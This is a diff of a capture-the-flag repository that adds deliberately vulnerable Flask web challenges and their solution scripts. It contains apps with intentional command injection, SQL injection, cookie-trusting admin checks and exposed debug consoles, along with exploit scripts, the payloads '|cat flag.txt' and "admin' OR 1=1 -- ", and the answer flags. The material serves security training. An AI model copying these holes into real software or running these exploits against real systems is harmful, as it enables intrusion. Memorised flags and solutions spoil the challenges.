diff --git a/.gitignore b/.gitignore index 27f7a9f..4d71da5 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1 @@ -.ctf/ \ No newline at end of file +.ctf/ diff --git a/web/baby-flask/.gitignore b/web/baby-flask/.gitignore new file mode 100644 index 0000000..a573cee --- /dev/null +++ b/web/baby-flask/.gitignore @@ -0,0 +1,2 @@ +*.log +*.pid diff --git a/web/baby-flask/challenge.yml b/web/baby-flask/challenge.yml index 5ff0e97..ce5884c 100644 --- a/web/baby-flask/challenge.yml +++ b/web/baby-flask/challenge.yml @@ -15,15 +15,13 @@ extra: compose_stack: !filecontents docker-compose.yml flags: - - GTBQ{w3ll_d0ne_but_1_H0p3_Y0u_4rE_n0t_d0ne_y3t_g0_f0r_p4rt_2} + - GTBQ{w3ll_d0ne_0n_tr4v3rs1ng_y0ur_w4y_0ut_YoU_c4nt_be_c0nstr41n3d_1n_4_fl4sk!} tags: - web - - easy + - medium files: - - "public/public.zip" state: visible version: "0.1" - diff --git a/web/baby-flask/docker-compose.yml b/web/baby-flask/docker-compose.yml index 0955693..5ac215b 100644 --- a/web/baby-flask/docker-compose.yml +++ b/web/baby-flask/docker-compose.yml @@ -10,3 +10,6 @@ services: environment: - FLASK_APP=/app/app.py - FLASK_ENV=development + volumes: + - /etc/machine-id:/etc/machine-id + # - ./setup/app:/app diff --git a/web/baby-flask/public/public.zip b/web/baby-flask/public/public.zip deleted file mode 100644 index 8c734c5..0000000 Binary files a/web/baby-flask/public/public.zip and /dev/null differ diff --git a/web/baby-flask/setup/app/templates/index.html b/web/baby-flask/setup/app/templates/index.html index acab926..2da3742 100644 --- a/web/baby-flask/setup/app/templates/index.html +++ b/web/baby-flask/setup/app/templates/index.html @@ -1,94 +1,26 @@ - - - - - Flask File Manager - - - - -
-

Welcome to my Flask file manager

- -

Have a look at my files

-

Click on a file to view it!

- +{% extends "layout.html" %} + +{% block content %} +
+

Welcome to my Flask File Manager

+ +
+
+

Have a look at my files

+
+
+

Click on a file to view it!

+
    + {% for file in files %} +
  • +
    + + +
    +
  • + {% endfor %} +
+
- - - +
+{% endblock %} diff --git a/web/baby-flask/setup/app/templates/layout.html b/web/baby-flask/setup/app/templates/layout.html new file mode 100644 index 0000000..96ca03e --- /dev/null +++ b/web/baby-flask/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% block content %} {% endblock %} {% block after_content %} {% + endblock%} + + diff --git a/web/baby-flask/setup/flag.txt b/web/baby-flask/setup/flag.txt index 3b47686..a8c0bf9 100644 --- a/web/baby-flask/setup/flag.txt +++ b/web/baby-flask/setup/flag.txt @@ -1 +1 @@ -GTBQ{w3ll_d0ne_but_1_H0p3_Y0u_4rE_n0t_d0ne_y3t_g0_f0r_p4rt_2} +GTBQ{w3ll_d0ne_0n_tr4v3rs1ng_y0ur_w4y_0ut_YoU_c4nt_be_c0nstr41n3d_1n_4_fl4sk!} diff --git a/web/baby-flask/solution/advanced.py b/web/baby-flask/solution/advanced.py index 07744ed..3afa3e8 100644 --- a/web/baby-flask/solution/advanced.py +++ b/web/baby-flask/solution/advanced.py @@ -1,8 +1,9 @@ from wconsole_extractor import WConsoleExtractor import requests import re +import sys -url = 'http://localhost:1337' +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' def leak_function(filename) -> str: r = requests.post(f'{url}/get_file', data={'filename': filename}) diff --git a/web/baby-flask/solution/path_traversal.py b/web/baby-flask/solution/path_traversal.py index 85b82db..1b12a6d 100644 --- a/web/baby-flask/solution/path_traversal.py +++ b/web/baby-flask/solution/path_traversal.py @@ -1,29 +1,30 @@ import requests import re +import sys -url = 'http://localhost:1337' +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' s = requests.Session() -r = s.post('http://localhost:1337/get_file', data={'filename': '/app/logs/flask-error.log'}) +r = s.post(f'{url}/get_file', data={'filename': '/app/logs/flask-error.log'}) # print(r.text) # find the pin code pin_code = re.search(r'PIN: (\d+-\d+-\d+)', r.text).group(1) print(f'Pin code: {pin_code}') # fetch console token from html error messages (only needed if logging in headlessly) -r = s.post('http://localhost:1337/get_file', data={'filename': '/file_that_does_not_exist'}) +r = s.post(f'{url}/get_file', data={'filename': '/file_that_does_not_exist'}) # print(r.text) console_token = re.search(r'SECRET = "(.*)";', r.text).group(1) print(f'Console token : {console_token}') # get auth cookie from flask by performing pinauth -r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': 'pinauth', 'pin': pin_code, 's': console_token}) +r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': 'pinauth', 'pin': pin_code, 's': console_token}) # execute ls in the console -r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': 'import subprocess; print(subprocess.check_output(["ls", "/"]).decode())', 'frm': 0, 's': console_token}) +r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': 'import subprocess; print(subprocess.check_output(["ls", "/"]).decode())', 'frm': 0, 's': console_token}) flag_file = re.search(r'flag-\w+.txt', r.text).group(0) # read the flag file -r = s.get('http://localhost:1337/console', params={'__debugger__': 'yes', 'cmd': f'import subprocess; print(subprocess.check_output(["cat", "/{flag_file}"]).decode())', 'frm': 0, 's': console_token}) +r = s.get(f'{url}/console', params={'__debugger__': 'yes', 'cmd': f'import subprocess; print(subprocess.check_output(["cat", "/{flag_file}"]).decode())', 'frm': 0, 's': console_token}) print(r.text) diff --git a/web/biscuits/challenge.yml b/web/biscuits/challenge.yml new file mode 100644 index 0000000..f8e507a --- /dev/null +++ b/web/biscuits/challenge.yml @@ -0,0 +1,27 @@ +name: "Biscuits" +author: "Evangelospro" +category: web + +description: | + In England, they're called biscuits, but I prefer to call them cookies. I've curated a page to celebrate these delightful treats from around the world. Explore and discover the hidden delights within—I hear there's something special waiting for those who navigate to /admin. + +value: 500 +type: dynamic_docker +extra: + initial: 500 + minimum: 100 + decay: 25 + redirect_type: http + compose_stack: !filecontents docker-compose.yml + +flags: + - GTBQ{c00ki3s_ar3_d3lici0us} + +tags: + - web + - beginner + +files: + +state: visible +version: "0.1" diff --git a/web/biscuits/docker-compose.yml b/web/biscuits/docker-compose.yml new file mode 100644 index 0000000..6635462 --- /dev/null +++ b/web/biscuits/docker-compose.yml @@ -0,0 +1,15 @@ +version: '3' +services: + web: + build: + context: ./setup + dockerfile: Dockerfile + image: ghcr.io/cybermouflons/gtbq-2024/biscuits:latest + ports: + - 1337:80 + environment: + - FLAG=GTBQ{c00ki3s_ar3_d3lici0us} + - FLASK_APP=/app/app.py + - FLASK_ENV=development + # volumes: + # - ./setup/app:/app diff --git a/web/biscuits/setup/Dockerfile b/web/biscuits/setup/Dockerfile new file mode 100644 index 0000000..040729f --- /dev/null +++ b/web/biscuits/setup/Dockerfile @@ -0,0 +1,14 @@ +# Use the official Python base image +FROM python:3.9-slim + +WORKDIR /app + +COPY ./app/requirements.txt /app/requirements.txt + +RUN pip install --no-cache-dir -r requirements.txt + +COPY ./app /app/ + +EXPOSE 80 + +ENTRYPOINT ["python3", "/app/app.py"] diff --git a/web/biscuits/setup/app/app.py b/web/biscuits/setup/app/app.py new file mode 100644 index 0000000..f63323e --- /dev/null +++ b/web/biscuits/setup/app/app.py @@ -0,0 +1,21 @@ +import os +from flask import Flask, render_template, request, redirect, g, url_for, make_response + +app = Flask(__name__) + +FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}') + +@app.route('/') +def index(): + resp = make_response(render_template('index.html')) + resp.set_cookie('is_admin', 'false') + return resp + +@app.route('/admin') +def admin(): + if request.cookies.get('is_admin') == 'true': + return render_template('admin.html', flag=FLAG) + else: + return redirect(url_for('index')) + +app.run(host='0.0.0.0', port=80, debug=True) diff --git a/web/biscuits/setup/app/flag.txt b/web/biscuits/setup/app/flag.txt new file mode 100644 index 0000000..6bf1bad --- /dev/null +++ b/web/biscuits/setup/app/flag.txt @@ -0,0 +1 @@ +GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!} diff --git a/web/biscuits/setup/app/requirements.txt b/web/biscuits/setup/app/requirements.txt new file mode 100644 index 0000000..7e10602 --- /dev/null +++ b/web/biscuits/setup/app/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/web/biscuits/setup/app/static/images/chocolate-chip.jpeg b/web/biscuits/setup/app/static/images/chocolate-chip.jpeg new file mode 100644 index 0000000..4b536bc Binary files /dev/null and b/web/biscuits/setup/app/static/images/chocolate-chip.jpeg differ diff --git a/web/biscuits/setup/app/static/images/oatmeal.jpeg b/web/biscuits/setup/app/static/images/oatmeal.jpeg new file mode 100644 index 0000000..7b8b505 Binary files /dev/null and b/web/biscuits/setup/app/static/images/oatmeal.jpeg differ diff --git a/web/biscuits/setup/app/static/images/peanut-butter.jpg b/web/biscuits/setup/app/static/images/peanut-butter.jpg new file mode 100644 index 0000000..89f4548 Binary files /dev/null and b/web/biscuits/setup/app/static/images/peanut-butter.jpg differ diff --git a/web/biscuits/setup/app/templates/admin.html b/web/biscuits/setup/app/templates/admin.html new file mode 100644 index 0000000..8b79bef --- /dev/null +++ b/web/biscuits/setup/app/templates/admin.html @@ -0,0 +1,14 @@ +{% extends "layout.html" %} + +{% block content %} +
+

Congratulations!

+ + code +
+{% endblock %} diff --git a/web/biscuits/setup/app/templates/header.html b/web/biscuits/setup/app/templates/header.html new file mode 100644 index 0000000..582cbd0 --- /dev/null +++ b/web/biscuits/setup/app/templates/header.html @@ -0,0 +1,24 @@ + diff --git a/web/biscuits/setup/app/templates/index.html b/web/biscuits/setup/app/templates/index.html new file mode 100644 index 0000000..dd6fcc8 --- /dev/null +++ b/web/biscuits/setup/app/templates/index.html @@ -0,0 +1,93 @@ +{% extends "layout.html" %} {% block content %} + +
+

Cookie Recipes

+ +
+ +
+
+

Chocolate Chip Cookies

+

A classic favorite, perfect for any occasion.

+ Chocolate Chip Cookies +

Ingredients:

+
    +
  • 1 cup butter, softened
  • +
  • 1 cup white sugar
  • +
  • 1 cup packed brown sugar
  • +
  • 2 eggs
  • +
  • 2 teaspoons vanilla extract
  • +
  • 3 cups all-purpose flour
  • +
  • 1 teaspoon baking soda
  • +
  • 2 teaspoons hot water
  • +
  • 1/2 teaspoon salt
  • +
  • 2 cups semisweet chocolate chips
  • +
+ View Recipe +
+
+ + +
+
+

Oatmeal Cookies

+

Hearty and wholesome, perfect with a glass of milk.

+ Oatmeal Cookies +

Ingredients:

+
    +
  • 1 cup butter, softened
  • +
  • 1 cup packed brown sugar
  • +
  • 1/2 cup white sugar
  • +
  • 2 eggs
  • +
  • 1 teaspoon vanilla extract
  • +
  • 1 1/2 cups all-purpose flour
  • +
  • 1 teaspoon baking soda
  • +
  • 1/2 teaspoon salt
  • +
  • 3 cups quick-cooking oats
  • +
  • 1 cup raisins (optional)
  • +
+ View Recipe +
+
+ + +
+
+

Peanut Butter Cookies

+

A nutty delight that melts in your mouth.

+ Peanut Butter Cookies +

Ingredients:

+
    +
  • 1 cup unsalted butter, softened
  • +
  • 1 cup creamy peanut butter
  • +
  • 1 cup white sugar
  • +
  • 1 cup packed brown sugar
  • +
  • 2 eggs
  • +
  • 2 1/2 cups all-purpose flour
  • +
  • 1 teaspoon baking powder
  • +
  • 1/2 teaspoon salt
  • +
  • 1 1/2 teaspoons baking soda
  • +
+ View Recipe +
+
+
+ +
+ +{% endblock %} diff --git a/web/biscuits/setup/app/templates/layout.html b/web/biscuits/setup/app/templates/layout.html new file mode 100644 index 0000000..64aed23 --- /dev/null +++ b/web/biscuits/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% include 'header.html' %} {% block content %} {% endblock %} {% block + after_content %} {% endblock%} + + diff --git a/web/biscuits/solution/sol.py b/web/biscuits/solution/sol.py new file mode 100644 index 0000000..e237404 --- /dev/null +++ b/web/biscuits/solution/sol.py @@ -0,0 +1,9 @@ +import requests +import sys + +s = requests.Session() +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' + +# send a request to the admin page with the is_admin cookie set to true +r = s.get(url + "/admin", cookies={"is_admin": "true"}) +print(r.text) diff --git a/web/flask-master/.gitignore b/web/flask-master/.gitignore new file mode 100644 index 0000000..a573cee --- /dev/null +++ b/web/flask-master/.gitignore @@ -0,0 +1,2 @@ +*.log +*.pid diff --git a/web/flask-master/challenge.yml b/web/flask-master/challenge.yml index 8fcb60d..7e3fddd 100644 --- a/web/flask-master/challenge.yml +++ b/web/flask-master/challenge.yml @@ -21,10 +21,9 @@ flags: tags: - web - - hard + - insane files: - - "public/public.zip" -state: visible +state: hidden version: "0.1" diff --git a/web/flask-master/docker-compose.yml b/web/flask-master/docker-compose.yml index 5a1c9bd..d5cabbc 100644 --- a/web/flask-master/docker-compose.yml +++ b/web/flask-master/docker-compose.yml @@ -10,3 +10,6 @@ services: environment: - FLASK_APP=/app/app.py - FLASK_ENV=development + volumes: + - /etc/machine-id:/etc/machine-id + # - ./setup/app:/app diff --git a/web/flask-master/public/public.zip b/web/flask-master/public/public.zip deleted file mode 100644 index b8092d6..0000000 Binary files a/web/flask-master/public/public.zip and /dev/null differ diff --git a/web/flask-master/setup/app/templates/index.html b/web/flask-master/setup/app/templates/index.html index acab926..990dfe3 100644 --- a/web/flask-master/setup/app/templates/index.html +++ b/web/flask-master/setup/app/templates/index.html @@ -1,94 +1,30 @@ - - - - - Flask File Manager - - - - -
-

Welcome to my Flask file manager

- -

Have a look at my files

-

Click on a file to view it!

- -
- - - +{% extends "layout.html" %} {% block content %} +
+

Welcome to my Flask File Manager

+ +
+
+

Have a look at my files

+
+
+

Click on a file to view it!

+
    + {% for file in files %} +
  • +
    + + +
    +
  • + {% endfor %} +
+
+
+
+{% endblock %} diff --git a/web/flask-master/setup/app/templates/layout.html b/web/flask-master/setup/app/templates/layout.html new file mode 100644 index 0000000..96ca03e --- /dev/null +++ b/web/flask-master/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% block content %} {% endblock %} {% block after_content %} {% + endblock%} + + diff --git a/web/flask-master/solution/sol.py b/web/flask-master/solution/sol.py index f27f6eb..b1fd6b9 100644 --- a/web/flask-master/solution/sol.py +++ b/web/flask-master/solution/sol.py @@ -2,8 +2,9 @@ from wconsole_extractor import WConsoleExtractor import requests import re +import sys -url = 'http://localhost:1337' +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' def leak_function(filename) -> str: r = requests.post(f'{url}/get_file', data={'filename': filename}) diff --git a/web/looooong/challenge.yml b/web/looooong/challenge.yml new file mode 100644 index 0000000..653506f --- /dev/null +++ b/web/looooong/challenge.yml @@ -0,0 +1,27 @@ +name: "looooong" +author: "Evangelospro" +category: web + +description: | + Begin your journey and follow the trail. Hidden within lies the flag. Can you navigate the path and uncover the secret? + +value: 500 +type: dynamic_docker +extra: + initial: 500 + minimum: 100 + decay: 25 + redirect_type: http + compose_stack: !filecontents docker-compose.yml + +flags: + - GTBQ{Why_1s_1t_t4k1ng_s0_l0000ng?} + +tags: + - web + - beginner + +files: + +state: visible +version: "0.1" diff --git a/web/looooong/docker-compose.yml b/web/looooong/docker-compose.yml new file mode 100644 index 0000000..9be9f3e --- /dev/null +++ b/web/looooong/docker-compose.yml @@ -0,0 +1,15 @@ +version: '3' +services: + web: + build: + context: ./setup + dockerfile: Dockerfile + image: ghcr.io/cybermouflons/gtbq-2024/looooong:latest + ports: + - 1337:80 + environment: + - FLAG=GTBQ{Why_1s_1t_t4k1ng_s0_l0000ng?} + - FLASK_APP=/app/app.py + - FLASK_ENV=development + # volumes: + # - ./setup/app:/app diff --git a/web/looooong/setup/Dockerfile b/web/looooong/setup/Dockerfile new file mode 100644 index 0000000..040729f --- /dev/null +++ b/web/looooong/setup/Dockerfile @@ -0,0 +1,14 @@ +# Use the official Python base image +FROM python:3.9-slim + +WORKDIR /app + +COPY ./app/requirements.txt /app/requirements.txt + +RUN pip install --no-cache-dir -r requirements.txt + +COPY ./app /app/ + +EXPOSE 80 + +ENTRYPOINT ["python3", "/app/app.py"] diff --git a/web/looooong/setup/app/app.py b/web/looooong/setup/app/app.py new file mode 100644 index 0000000..90818e6 --- /dev/null +++ b/web/looooong/setup/app/app.py @@ -0,0 +1,26 @@ +import os +from flask import Flask, render_template, request, redirect, g, url_for, make_response + +app = Flask(__name__) + +FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}') + +@app.route('/') +def index(): + return render_template('start.html') + +@app.route('/magic') +def magic(): + response_headers = { + 'Location': url_for('end'), + 'Flag': FLAG + } + response = make_response('', 302) + response.headers = response_headers + return response + +@app.route('/end') +def end(): + return render_template('end.html') + +app.run(host='0.0.0.0', port=80, debug=True) diff --git a/web/looooong/setup/app/requirements.txt b/web/looooong/setup/app/requirements.txt new file mode 100644 index 0000000..7e10602 --- /dev/null +++ b/web/looooong/setup/app/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/web/looooong/setup/app/static/images/go_away.png b/web/looooong/setup/app/static/images/go_away.png new file mode 100644 index 0000000..953a28c Binary files /dev/null and b/web/looooong/setup/app/static/images/go_away.png differ diff --git a/web/looooong/setup/app/templates/end.html b/web/looooong/setup/app/templates/end.html new file mode 100644 index 0000000..9efb943 --- /dev/null +++ b/web/looooong/setup/app/templates/end.html @@ -0,0 +1,13 @@ +{% extends "layout.html" %} + +{% block content %} +
+

The END!

+ + Nerd +

What are you still doing here? Go away!

+
+{% endblock %} diff --git a/web/looooong/setup/app/templates/layout.html b/web/looooong/setup/app/templates/layout.html new file mode 100644 index 0000000..96ca03e --- /dev/null +++ b/web/looooong/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% block content %} {% endblock %} {% block after_content %} {% + endblock%} + + diff --git a/web/looooong/setup/app/templates/start.html b/web/looooong/setup/app/templates/start.html new file mode 100644 index 0000000..6ae8c08 --- /dev/null +++ b/web/looooong/setup/app/templates/start.html @@ -0,0 +1,11 @@ +{% extends "layout.html" %} + +{% block content %} +
+

The journey awaits!

+

Begin your journey by clicking the button below.

+
+ Start +
+
+{% endblock %} diff --git a/web/looooong/solution/sol.py b/web/looooong/solution/sol.py new file mode 100644 index 0000000..d0a01ba --- /dev/null +++ b/web/looooong/solution/sol.py @@ -0,0 +1,9 @@ +import requests +import sys + +s = requests.Session() +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' + +# don't follow redirect to /end as the flag is in the intermidiate response that redirects to /end +r = s.get(url + "/magic", allow_redirects=False) +print(r.headers['Flag']) diff --git a/web/nmapper/challenge.yml b/web/nmapper/challenge.yml new file mode 100644 index 0000000..d45ea67 --- /dev/null +++ b/web/nmapper/challenge.yml @@ -0,0 +1,27 @@ +name: "NMAPper" +author: "Evangelospro" +category: web + +description: | + In old time people had those big and chunky paper maps to navigate through the world. Nowadays we have tools like Nmap to navigate through the internet. Can you find the hidden flag on this servers filesystem? + +value: 500 +type: dynamic_docker +extra: + initial: 500 + minimum: 100 + decay: 25 + redirect_type: http + compose_stack: !filecontents docker-compose.yml + +flags: + - GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!} + +tags: + - web + - easy + +files: + +state: visible +version: "0.1" diff --git a/web/nmapper/docker-compose.yml b/web/nmapper/docker-compose.yml new file mode 100644 index 0000000..7cced7c --- /dev/null +++ b/web/nmapper/docker-compose.yml @@ -0,0 +1,14 @@ +version: '3' +services: + web: + build: + context: ./setup + dockerfile: Dockerfile + image: ghcr.io/cybermouflons/gtbq-2024/nmapper:latest + ports: + - 1337:80 + environment: + - FLASK_APP=/app/app.py + - FLASK_ENV=development + # volumes: + # - ./setup/app:/app diff --git a/web/nmapper/setup/Dockerfile b/web/nmapper/setup/Dockerfile new file mode 100644 index 0000000..9f77849 --- /dev/null +++ b/web/nmapper/setup/Dockerfile @@ -0,0 +1,16 @@ +# Use the official Python base image +FROM python:3.9-slim + +RUN apt update && apt install -y nmap + +WORKDIR /app + +COPY ./app/requirements.txt /app/requirements.txt + +RUN pip install --no-cache-dir -r requirements.txt + +COPY ./app /app/ + +EXPOSE 80 + +ENTRYPOINT ["python3", "/app/app.py"] diff --git a/web/nmapper/setup/app/app.py b/web/nmapper/setup/app/app.py new file mode 100644 index 0000000..e831c2b --- /dev/null +++ b/web/nmapper/setup/app/app.py @@ -0,0 +1,23 @@ +import os +from flask import Flask, render_template, request, redirect, g, url_for, make_response +import subprocess + +app = Flask(__name__) + +FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}') + +@app.route('/') +def index(): + return redirect(url_for('nmap')) + +@app.route('/nmap', methods=['GET', 'POST']) +def nmap(): + if request.method == 'GET': + return render_template('nmap.html') + elif request.method == 'POST': + target = request.form['target'] + output = subprocess.check_output(f'nmap {target}', shell=True) + return render_template('nmap.html', output=output.decode('utf-8')) + + +app.run(host='0.0.0.0', port=80, debug=True) diff --git a/web/nmapper/setup/app/flag.txt b/web/nmapper/setup/app/flag.txt new file mode 100644 index 0000000..6bf1bad --- /dev/null +++ b/web/nmapper/setup/app/flag.txt @@ -0,0 +1 @@ +GTBQ{C0mm4nd_Inj3cti0n_1s_4_G4m3_0v3r!!!} diff --git a/web/nmapper/setup/app/requirements.txt b/web/nmapper/setup/app/requirements.txt new file mode 100644 index 0000000..7e10602 --- /dev/null +++ b/web/nmapper/setup/app/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/web/nmapper/setup/app/static/images/toolbox.png b/web/nmapper/setup/app/static/images/toolbox.png new file mode 100644 index 0000000..43a7056 Binary files /dev/null and b/web/nmapper/setup/app/static/images/toolbox.png differ diff --git a/web/nmapper/setup/app/templates/layout.html b/web/nmapper/setup/app/templates/layout.html new file mode 100644 index 0000000..96ca03e --- /dev/null +++ b/web/nmapper/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% block content %} {% endblock %} {% block after_content %} {% + endblock%} + + diff --git a/web/nmapper/setup/app/templates/nmap.html b/web/nmapper/setup/app/templates/nmap.html new file mode 100644 index 0000000..50f8c34 --- /dev/null +++ b/web/nmapper/setup/app/templates/nmap.html @@ -0,0 +1,37 @@ +{% extends "layout.html" %} {% block content %} +
+
Tools
+

+ A hacker has many tools in his toolbox, Nmap is one of the most used + ones though, so I made this web UI for it. +

+ nmap +
Nmap scan
+
+
+
+ + +
+ +
+
+ {% if output %} +
+
{{ output }}
+
+ {% endif %} +
+{% endblock %} diff --git a/web/nmapper/solution/sol.py b/web/nmapper/solution/sol.py new file mode 100644 index 0000000..2a836e6 --- /dev/null +++ b/web/nmapper/solution/sol.py @@ -0,0 +1,8 @@ +import requests +import sys + +s = requests.Session() +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' + +r = s.post(url + "/nmap", data={"target": "|cat flag.txt"}) +print(r.text) diff --git a/web/sql-sleuth/.gitignore b/web/sql-sleuth/.gitignore new file mode 100644 index 0000000..98e6ef6 --- /dev/null +++ b/web/sql-sleuth/.gitignore @@ -0,0 +1 @@ +*.db diff --git a/web/sql-sleuth/challenge.yml b/web/sql-sleuth/challenge.yml new file mode 100644 index 0000000..6c35f02 --- /dev/null +++ b/web/sql-sleuth/challenge.yml @@ -0,0 +1,27 @@ +name: "SQL Sleuth: The Hidden Injection" +author: "Evangelospro" +category: web + +description: | + A simple login page guards a secret deep within its code. Whispers hint at a vulnerability that can unlock the gate. Can you, the SQL sleuth, uncover the hidden injection and reveal the flag? The query holds the key. Proceed with caution and keen insight. + +value: 500 +type: dynamic_docker +extra: + initial: 500 + minimum: 100 + decay: 25 + redirect_type: http + compose_stack: !filecontents docker-compose.yml + +flags: + - GTBQ{Y0u_H4v3_inj3cted_y0Urs3lf_to_4dm1n_c0ngr4ts!} + +tags: + - web + - easy + +files: + +state: visible +version: "0.1" diff --git a/web/sql-sleuth/docker-compose.yml b/web/sql-sleuth/docker-compose.yml new file mode 100644 index 0000000..f94e743 --- /dev/null +++ b/web/sql-sleuth/docker-compose.yml @@ -0,0 +1,15 @@ +version: '3' +services: + web: + build: + context: ./setup + dockerfile: Dockerfile + image: ghcr.io/cybermouflons/gtbq-2024/sqlsleuth:latest + ports: + - 1337:80 + environment: + - FLAG=GTBQ{Y0u_H4v3_inj3cted_y0Urs3lf_to_4dm1n_c0ngr4ts!} + - FLASK_APP=/app/app.py + - FLASK_ENV=development + # volumes: + # - ./setup/app:/app diff --git a/web/sql-sleuth/setup/Dockerfile b/web/sql-sleuth/setup/Dockerfile new file mode 100644 index 0000000..040729f --- /dev/null +++ b/web/sql-sleuth/setup/Dockerfile @@ -0,0 +1,14 @@ +# Use the official Python base image +FROM python:3.9-slim + +WORKDIR /app + +COPY ./app/requirements.txt /app/requirements.txt + +RUN pip install --no-cache-dir -r requirements.txt + +COPY ./app /app/ + +EXPOSE 80 + +ENTRYPOINT ["python3", "/app/app.py"] diff --git a/web/sql-sleuth/setup/app/app.py b/web/sql-sleuth/setup/app/app.py new file mode 100644 index 0000000..c79d357 --- /dev/null +++ b/web/sql-sleuth/setup/app/app.py @@ -0,0 +1,57 @@ +import sqlite3 +import random +import string +from flask import Flask, render_template, request, redirect, g, url_for +import os + +app = Flask(__name__) +app.database = "app.db" + +FLAG = os.getenv('FLAG', 'GTBQ{Contact_Admin_If_You_See_This}') + +def connect_db(): + return sqlite3.connect(app.database) + +def rand_str(k=10) -> str: + return ''.join(random.choices(string.ascii_letters + string.digits, k=k)) + +@app.route('/') +def index(): + return redirect(url_for('login')) + +@app.route('/login', methods=['GET', 'POST']) +def login(): + if request.method == 'POST': + username = request.form['username'] + password = request.form['password'] + + g.db = connect_db() + c = g.db.cursor() + g.query = f"SELECT * FROM users WHERE username='{username}' AND password = '{password}'" + try: + c.execute(g.query) + except Exception as e: + return render_template('login.html', error="Something went wrong", query=g.query) + user = c.fetchone() + if user: + return render_template('loggedin.html', flag=FLAG) + else: + return render_template('login.html', error="Invalid username or password") + return render_template('login.html') + +#create database if it doesn't exist yet +with app.app_context(): + g.db = connect_db() + c = g.db.cursor() + if c.execute("SELECT name FROM sqlite_master WHERE type='table' AND name='users'").fetchone() is None: + c.execute("""CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT)""") + admin_password = rand_str() + if c.execute("SELECT * FROM users WHERE username='admin'").fetchone() is None: + # insert the admin user + c.execute(f"INSERT INTO users (username, password) VALUES ('admin', '{admin_password}')") + else: + c.execute(f"UPDATE users SET password='{admin_password}' WHERE username='admin'") + g.db.commit() + g.db.close() + +app.run(host='0.0.0.0', port=80) diff --git a/web/sql-sleuth/setup/app/requirements.txt b/web/sql-sleuth/setup/app/requirements.txt new file mode 100644 index 0000000..7e10602 --- /dev/null +++ b/web/sql-sleuth/setup/app/requirements.txt @@ -0,0 +1 @@ +flask diff --git a/web/sql-sleuth/setup/app/static/images/nerd.png b/web/sql-sleuth/setup/app/static/images/nerd.png new file mode 100644 index 0000000..74f00f3 Binary files /dev/null and b/web/sql-sleuth/setup/app/static/images/nerd.png differ diff --git a/web/sql-sleuth/setup/app/templates/layout.html b/web/sql-sleuth/setup/app/templates/layout.html new file mode 100644 index 0000000..96ca03e --- /dev/null +++ b/web/sql-sleuth/setup/app/templates/layout.html @@ -0,0 +1,16 @@ + + + + + + + {% block head %} {% endblock %} + + + {% block content %} {% endblock %} {% block after_content %} {% + endblock%} + + diff --git a/web/sql-sleuth/setup/app/templates/loggedin.html b/web/sql-sleuth/setup/app/templates/loggedin.html new file mode 100644 index 0000000..5773dd3 --- /dev/null +++ b/web/sql-sleuth/setup/app/templates/loggedin.html @@ -0,0 +1,14 @@ +{% extends "layout.html" %} + +{% block content %} +
+

Congratulations!

+ + Nerd +
+{% endblock %} diff --git a/web/sql-sleuth/setup/app/templates/login.html b/web/sql-sleuth/setup/app/templates/login.html new file mode 100644 index 0000000..5e1d698 --- /dev/null +++ b/web/sql-sleuth/setup/app/templates/login.html @@ -0,0 +1,34 @@ +{% extends "layout.html" %} + +{% block content %} +
+

Login

+ {% if error %} + + {% endif %} + {% if query %} + + {% endif %} +
+
+ + +
+
+ + +
+ +
+
+{% endblock %} diff --git a/web/sql-sleuth/solution/sol.py b/web/sql-sleuth/solution/sol.py new file mode 100644 index 0000000..c04873b --- /dev/null +++ b/web/sql-sleuth/solution/sol.py @@ -0,0 +1,8 @@ +import requests +import sys + +s = requests.Session() +url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost:1337' + +r = s.post(url + "/login", data={"username": "admin", "password": "admin' OR 1=1 -- "}) +print(r.text) diff --git a/web/ssrfing/challenge.yml b/web/ssrfing/challenge.yml new file mode 100644 index 0000000..0bbac62 --- /dev/null +++ b/web/ssrfing/challenge.yml @@ -0,0 +1,27 @@ +name: "SSRFing" +author: "Evangelospro" +category: web + +description: | + I've heard about this cool new way of surfing the web, it's called SSRFing! I've set up a server for you to try it out. Can you find the flag behind the admin portal? + +value: 500 +type: dynamic_docker +extra: + initial: 500 + minimum: 100 + decay: 25 + redirect_type: http + compose_stack: !filecontents docker-compose.yml + +flags: + - GTBQ{Acce55ing_1nt3rn4l_5erv1c35_1s_50_Aw3s0m3} + +tags: + - web + - medium + +files: + +state: visible +version: "0.1" diff --git a/web/ssrfing/docker-compose.yml b/web/ssrfing/docker-compose.yml new file mode 100644 index 0000000..f5a5567 --- /dev/null +++ b/web/ssrfing/docker-compose.yml @@ -0,0 +1,15 @@ +version: '3' +services: + web: + build: + context: ./setup + dockerfile: Dockerfile + image: ghcr.io/cybermouflons/gtbq-2024/ssrfing:latest + ports: + - 1337:80 + environment: + - 